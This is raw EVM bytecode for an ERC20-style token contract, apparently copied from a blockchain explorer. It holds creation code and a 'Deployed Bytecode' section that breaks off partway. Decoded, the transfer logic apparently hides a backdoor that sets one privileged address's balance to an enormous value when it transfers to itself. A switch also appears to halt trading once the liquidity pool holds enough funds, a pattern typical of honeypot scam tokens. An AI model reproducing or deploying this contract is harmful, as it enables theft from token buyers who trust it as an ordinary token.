00080fd5b50610229610875565b6040516102369190613010565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612d97565b610907565b005b34801561027457600080fd5b5061028f600480360381019061028a9190612cd0565b6109ee565b60405161029c9190612fda565b60405180910390f35b3480156102b157600080fd5b506102ba610a0c565b6040516102c79190612ff5565b60405180910390f35b3480156102dc57600080fd5b506102e5610a32565b6040516102f29190613152565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190612c3d565b610a3c565b60405161032f9190612fda565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a9190612d10565b610b16565b005b34801561036d57600080fd5b50610376610bc8565b6040516103839190612f96565b60405180910390f35b34801561039857600080fd5b506103a1610bec565b6040516103ae9190613152565b60405180910390f35b3480156103c357600080fd5b506103cc610c30565b6040516103d9919061316d565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190612cd0565b610c47565b6040516104169190612fda565b60405180910390f35b34801561042b57600080fd5b50610434610cfa565b6040516104419190613152565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190612ba3565b610d00565b60405161047e9190612fda565b60405180910390f35b34801561049357600080fd5b5061049c610d20565b6040516104a99190613152565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612ba3565b610d26565b6040516104e69190612fda565b60405180910390f35b3480156104fb57600080fd5b5061051660048036038101906105119190612d3d565b610d46565b005b34801561052457600080fd5b5061052d610de5565b60405161053a9190613152565b60405180910390f35b34801561054f57600080fd5b5061056a60048036038101906105659190612ba3565b610ded565b6040516105779190612f96565b60405180910390f35b34801561058c57600080fd5b506105956112d1565b6040516105a29190613152565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190612ba3565b6112d7565b6040516105df9190613152565b60405180910390f35b3480156105f457600080fd5b506105fd611320565b005b34801561060b57600080fd5b50610614611475565b6040516106219190612f96565b60405180910390f35b34801561063657600080fd5b5061063f61149b565b60405161064c9190613152565b60405180910390f35b34801561066157600080fd5b5061067c60048036038101906106779190612c90565b6114a1565b005b34801561068a57600080fd5b50610693611591565b6040516106a09190612f96565b60405180910390f35b3480156106b557600080fd5b506106be6115ba565b6040516106cb9190613010565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612d3d565b61164c565b005b34801561070957600080fd5b50610724600480360381019061071f9190612cd0565b6116eb565b6040516107319190612fda565b60405180910390f35b34801561074657600080fd5b50610761600480360381019061075c9190612cd0565b6117b8565b60405161076e9190612fda565b60405180910390f35b34801561078357600080fd5b5061078c6117d7565b6040516107999190612f96565b60405180910390f35b3480156107ae57600080fd5b506107b76117fd565b005b3480156107c557600080fd5b506107ce6118af565b6040516107db9190613152565b60405180910390f35b3480156107f057600080fd5b5061080b60048036038101906108069190612bfd565b6118b5565b6040516108189190613152565b60405180910390f35b34801561082d57600080fd5b5061084860048036038101906108439190612ba3565b61193c565b005b34801561085657600080fd5b5061085f611afe565b60405161086c9190612fda565b60405180910390f35b6060600b8054610884906134d6565b80601f01602080910402602001604051908101604052809291908181526020018280546108b0906134d6565b80156108fd5780601f106108d2576101008083540402835291602001916108fd565b820191906000526020600020905b8154815290600101906020018083116108e057829003601f168201915b5050505050905090565b61090f611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906130f2565b60405180910390fd5b81600e8190555080600f8190555060008111156109ea576000601060016101000a81548160ff0219169083151502179055506001601060006101000a81548160ff0219169083151502179055505b5050565b6000610a026109fb611b11565b8484611b19565b6001905092915050565b601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b6000610a49848484611ce4565b50610b0b84610a56611b11565b610b068560405180606001604052806028815260200161385360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610abc611b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f49092919063ffffffff16565b611b19565b600190509392505050565b610b1e611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906130f2565b60405180910390fd5b80601160146101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610c2b610c1a7f00000000000000000000000000000000000000000000000000000000000000006112d7565b600d5461235890919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6000610cf0610c54611b11565b84610ceb8560056000610c65611b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a290919063ffffffff16565b611b19565b6001905092915050565b600d5481565b60076020528060005260406000206000915054906101000a900460ff1681565b60095481565b60066020528060005260406000206000915054906101000a900460ff1681565b610d4e611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd2906130f2565b60405180910390fd5b80600a8190555050565b600042905090565b6000610df7611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906130f2565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ecf57600080fd5b505afa158015610ee3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f079190612bd0565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6957600080fd5b505afa158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa19190612bd0565b6040518363ffffffff1660e01b8152600401610fbe929190612fb1565b60206040518083038186803b158015610fd657600080fd5b505afa158015610fea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100e9190612bd0565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111cf578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612bd0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561112557600080fd5b505afa158015611139573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115d9190612bd0565b6040518363ffffffff1660e01b815260040161117a929190612fb1565b602060405180830381600087803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cc9190612bd0565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b600f5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611328611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac906130f2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6114a9611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906130f2565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600c80546115c9906134d6565b80601f01602080910402602001604051908101604052809291908181526020018280546115f5906134d6565b80156116425780601f1061161757610100808354040283529160200191611642565b820191906000526020600020905b81548152906001019060200180831161162557829003601f168201915b5050505050905090565b611654611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d8906130f2565b60405180910390fd5b8060098190555050565b60006117ae6116f8611b11565b846117a98560405180606001604052806025815260200161387b6025913960056000611722611b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f49092919063ffffffff16565b611b19565b6001905092915050565b60006117cc6117c5611b11565b8484611ce4565b506001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611805611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611889906130f2565b60405180910390fd5b6001601060006101000a81548160ff021916908315150217905550565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611944611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c8906130f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3890613072565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8090613132565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf090613092565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd79190613152565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c90613112565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90613032565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e525750611e22611591565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611f155750601060019054906101000a900460ff168015611f145750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15611f725760001515601060009054906101000a900460ff1615151415611f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6890613052565b60405180910390fd5b5b611f7c8484612400565b15611f9257611f8b8484612400565b90506122ed565b61201b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f49092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121015750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6121155761211085858561274e565b612117565b825b9050601160149054906101000a900460ff16801561217f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121be575061218e611591565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121ed57600e546121e1826121d3876112d7565b6123a290919063ffffffff16565b11156121ec57600080fd5b5b61223f81600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122df9190613152565b60405180910390a360019150505b9392505050565b600083831115829061233c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123339190613010565b60405180910390fd5b506000838561234b91906133f6565b9050809150509392505050565b600061239a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122f4565b905092915050565b60008082846123b191906131a4565b9050838110156123f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ed906130b2565b60405180910390fd5b8091505092915050565b6000601060009054906101000a900460ff1680156125685750600f54601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561248457600080fd5b505afa158015612498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124bc9190612bd0565b73ffffffffffffffffffffffffffffffffffffffff166370a08231601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125169190612f96565b60206040518083038186803b15801561252e57600080fd5b505afa158015612542573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125669190612d6a565b115b156125b3576001601060016101000a81548160ff021916908315150217905550601060009054906101000a900460ff1615601060006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561263b5750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156127435742600261264d919061339c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900460ff166103e86126ad919061327e565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f7919061339c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019050612748565b600090505b92915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127d6576127cf60646127c160095486612a1290919063ffffffff16565b612a8d90919063ffffffff16565b9050612854565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612853576128506064612842600a5486612a1290919063ffffffff16565b612a8d90919063ffffffff16565b90505b5b60008111156129f5576128d18160046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a290919063ffffffff16565b60046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f57062e7b32439d519dac7dc305789d854ff08a3b14878d3f76614e40e994826c816040516129659190613152565b60405180910390a1600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129ec9190613152565b60405180910390a35b612a08818461235890919063ffffffff16565b9150509392505050565b600080831415612a255760009050612a87565b60008284612a33919061339c565b9050828482612a4291906131fa565b14612a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a79906130d2565b60405180910390fd5b809150505b92915050565b6000612acf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad7565b905092915050565b60008083118290612b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b159190613010565b60405180910390fd5b5060008385612b2d91906131fa565b9050809150509392505050565b600081359050612b498161380d565b92915050565b600081519050612b5e8161380d565b92915050565b600081359050612b7381613824565b92915050565b600081359050612b888161383b565b92915050565b600081519050612b9d8161383b565b92915050565b600060208284031215612bb957612bb8613595565b5b6000612bc784828501612b3a565b91505092915050565b600060208284031215612be657612be5613595565b5b6000612bf484828501612b4f565b91505092915050565b60008060408385031215612c1457612c13613595565b5b6000612c2285828601612b3a565b9250506020612c3385828601612b3a565b9150509250929050565b600080600060608486031215612c5657612c55613595565b5b6000612c6486828701612b3a565b9350506020612c7586828701612b3a565b9250506040612c8686828701612b79565b9150509250925092565b60008060408385031215612ca757612ca6613595565b5b6000612cb585828601612b3a565b9250506020612cc685828601612b64565b9150509250929050565b60008060408385031215612ce757612ce6613595565b5b6000612cf585828601612b3a565b9250506020612d0685828601612b79565b9150509250929050565b600060208284031215612d2657612d25613595565b5b6000612d3484828501612b64565b91505092915050565b600060208284031215612d5357612d52613595565b5b6000612d6184828501612b79565b91505092915050565b600060208284031215612d8057612d7f613595565b5b6000612d8e84828501612b8e565b91505092915050565b60008060408385031215612dae57612dad613595565b5b6000612dbc85828601612b79565b9250506020612dcd85828601612b79565b9150509250929050565b612de08161342a565b82525050565b612def8161343c565b82525050565b612dfe8161347f565b82525050565b6000612e0f82613188565b612e198185613193565b9350612e298185602086016134a3565b612e328161359a565b840191505092915050565b6000612e4a602383613193565b9150612e55826135b8565b604082019050919050565b6000612e6d601683613193565b9150612e7882613607565b602082019050919050565b6000612e90602683613193565b9150612e9b82613630565b604082019050919050565b6000612eb3602283613193565b9150612ebe8261367f565b604082019050919050565b6000612ed6601b83613193565b9150612ee1826136ce565b602082019050919050565b6000612ef9602183613193565b9150612f04826136f7565b604082019050919050565b6000612f1c602083613193565b9150612f2782613746565b602082019050919050565b6000612f3f602583613193565b9150612f4a8261376f565b604082019050919050565b6000612f62602483613193565b9150612f6d826137be565b604082019050919050565b612f8181613468565b82525050565b612f9081613472565b82525050565b6000602082019050612fab6000830184612dd7565b92915050565b6000604082019050612fc66000830185612dd7565b612fd36020830184612dd7565b9392505050565b6000602082019050612fef6000830184612de6565b92915050565b600060208201905061300a6000830184612df5565b92915050565b6000602082019050818103600083015261302a8184612e04565b905092915050565b6000602082019050818103600083015261304b81612e3d565b9050919050565b6000602082019050818103600083015261306b81612e60565b9050919050565b6000602082019050818103600083015261308b81612e83565b9050919050565b600060208201905081810360008301526130ab81612ea6565b9050919050565b600060208201905081810360008301526130cb81612ec9565b9050919050565b600060208201905081810360008301526130eb81612eec565b9050919050565b6000602082019050818103600083015261310b81612f0f565b9050919050565b6000602082019050818103600083015261312b81612f32565b9050919050565b6000602082019050818103600083015261314b81612f55565b9050919050565b60006020820190506131676000830184612f78565b92915050565b60006020820190506131826000830184612f87565b92915050565b600081519050919050565b600082825260208201905092915050565b60006131af82613468565b91506131ba83613468565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ef576131ee613508565b5b828201905092915050565b600061320582613468565b915061321083613468565b9250826132205761321f613537565b5b828204905092915050565b6000808291508390505b60018511156132755780860481111561325157613250613508565b5b60018516156132605780820291505b808102905061326e856135ab565b9450613235565b94509492505050565b600061328982613468565b915061329483613472565b92506132c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846132c9565b905092915050565b6000826132d95760019050613395565b816132e75760009050613395565b81600181146132fd576002811461330757613336565b6001915050613395565b60ff84111561331957613318613508565b5b8360020a9150848211156133305761332f613508565b5b50613395565b5060208310610133831016604e8410600b841016171561336b5782820a90508381111561336657613365613508565b5b613395565b613378848484600161322b565b9250905081840481111561338f5761338e613508565b5b81810290505b9392505050565b60006133a782613468565b91506133b283613468565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133eb576133ea613508565b5b828202905092915050565b600061340182613468565b915061340c83613468565b92508282101561341f5761341e613508565b5b828203905092915050565b600061343582613448565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061348a82613491565b9050919050565b600061349c82613448565b9050919050565b60005b838110156134c15780820151818401526020810190506134a6565b838111156134d0576000848401525b50505050565b600060028204905060018216806134ee57607f821691505b6020821081141561350257613501613566565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6138168161342a565b811461382157600080fd5b50565b61382d8161343c565b811461383857600080fd5b50565b61384481613468565b811461384f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f2f7e2d045a6e84b8b359120f5e052b6ba489b8ef08047eb1184e86704492bc764736f6c63430008060033

Deployed Bytecode

0x6080604052600436106102085760003560e01c80635881f3ef11610118578063a3ca847d116100a0578063c9567bf91161006f578063c9567bf9146107a2578063ca9ec199146107b9578063dd62ed3e146107e4578063f2fde38b14610821578063f872858a1461084a5761020f565b8063a3ca847d146106d4578063a457c2d7146106fd578063a9059cbb1461073a578063c816841b146107775761020f565b8063800f634b116100e7578063800f634b146105ff578063807c2d9c1461062a578063844d591c146106555780638da5cb5b1461067e57806395d89b41146106a95761020f565b80635881f3ef146105435780636c3fb9321461058057806370a08231146105ab578063715018a6146105e85761020f565b80632b112e491161019b5780633ecad2711161016a5780633ecad2711461044a57806342a11095146104875780635342acb4146104b25780635453184e146104ef578063557ed1ba146105185761020f565b80632b112e491461038c578063313ce567146103b757806339509351146103e25780633eaaf86b1461041f5761020f565b806318160ddd116101d757806318160ddd146102d057806323b872dd146102fb5780632563ae831461033857806327c8f835146103615761020f565b806306fdde0314610214578063075f45c21461023f578063095ea7b3146102685780631694505e146102a55761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610875565b6040516102369190613010565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612d97565b610907565b005b34801561027457600080fd5b5061028f600480360381019061028a9190612cd0565b6109ee565b60405161029c9190612fda565b60405180910390f35b3480156102b157600080fd5b506102ba610a0c565b6040516102c79190612ff5565b60405180910390f35b3480156102dc57600080fd5b506102e5610a32565b6040516102f29190613152565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190612c3d565b610a3c565b60405161032f9190612fda565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a9190612d10565b610b16565b005b34801561036d57600080fd5b50610376610bc8565b6040516103839190612f96565b60405180910390f35b34801561039857600080fd5b506103a1610bec565b6040516103ae9190613152565b60405180910390f35b3480156103c357600080fd5b506103cc610c30565b6040516103d9919061316d565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190612cd0565b610c47565b6040516104169190612fda565b60405180910390f35b34801561042b57600080fd5b50610434610cfa565b6040516104419190613152565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190612ba3565b610d00565b60405161047e9190612fda565b60405180910390f35b34801561049357600080fd5b5061049c610d20565b6040516104a99190613152565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612ba3565b610d26565b6040516104e69190612fda565b60405180910390f35b3480156104fb57600080fd5b5061051660048036038101906105119190612d3d565b610d46565b005b34801561052457600080fd5b5061052d610de5565b60405161053a9190613152565b60405180910390f35b34801561054f57600080fd5b5061056a60048036038101906105659190612ba3565b610ded565b6040516105779190612f96565b60405180910390f35b34801561058c57600080fd5b506105956112d1565b6040516105a29190613152565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190612ba3565b6112d7565b6040516105df9190613152565b60405180910390f35b3480156105f457600080fd5b506105fd611320565b005b34801561060b57600080fd5b50610614611475565b6040516106219190612f96565b60405180910390f35b34801561063657600080fd5b5061063f61149b565b60405161064c9190613152565b60405180910390f35b34801561066157600080fd5b5061067c60048036038101906106779190612c90565b6114a1565b005b34801561068a57600080fd5b50610693611591565b6040516106a09190612f96565b60405180910390f35b3480156106b557600080fd5b506106be6115ba565b6040516106cb9190613010565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612d3d565b61164c565b005b34801561070957600080fd5b50610724600480360381019061071f9190612cd0565b6116eb565b6040516107319190612fda565b60405180910390f35b34801561074657600080fd5b50610761600480360381019061075c9190612cd0565b6117b8565b60405161076e9190612fda565b60405180910390f35b34801561078357600080fd5b5061078c6117d7565b6040516107999190612f96565b60405180910390f35b3480156107ae57600080fd5b506107b76117fd565b005b3480156107c557600080fd5b506107ce6118af565b6040516107db9190613152565b60405180910390f35b3480156107f057600080fd5b5061080b60048036038101906108069190612bfd565b6118b5565b6040516108189190613152565b60405180910390f35b34801561082d57600080fd5b5061084860048036038101906108439190612ba3565b61193c565b005b34801561085657600080fd5b5061085f611afe565b60405161086c9190612fda565b60405180910390f35b6060600b8054610884906134d6565b80601f01602080910402602001604051908101604052809291908181526020018280546108b0906134d6565b80156108fd5780601f106108d2576101008083540402835291602001916108fd565b820191906000526020600020905b8154815290600101906020018083116108e057829003601f168201915b5050505050905090565b61090f611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906130f2565b60405180910390fd5b81600e8190555080600f8190555060008111156109ea576000601060016101000a81548160ff0219169083151502179055506001601060006101000a81548160ff0219169083151502179055505b5050565b6000610a026109fb611b11565b8484611b19565b6001905092915050565b601060029054906101000a900473fffffffffffffffffffffffffffffffffff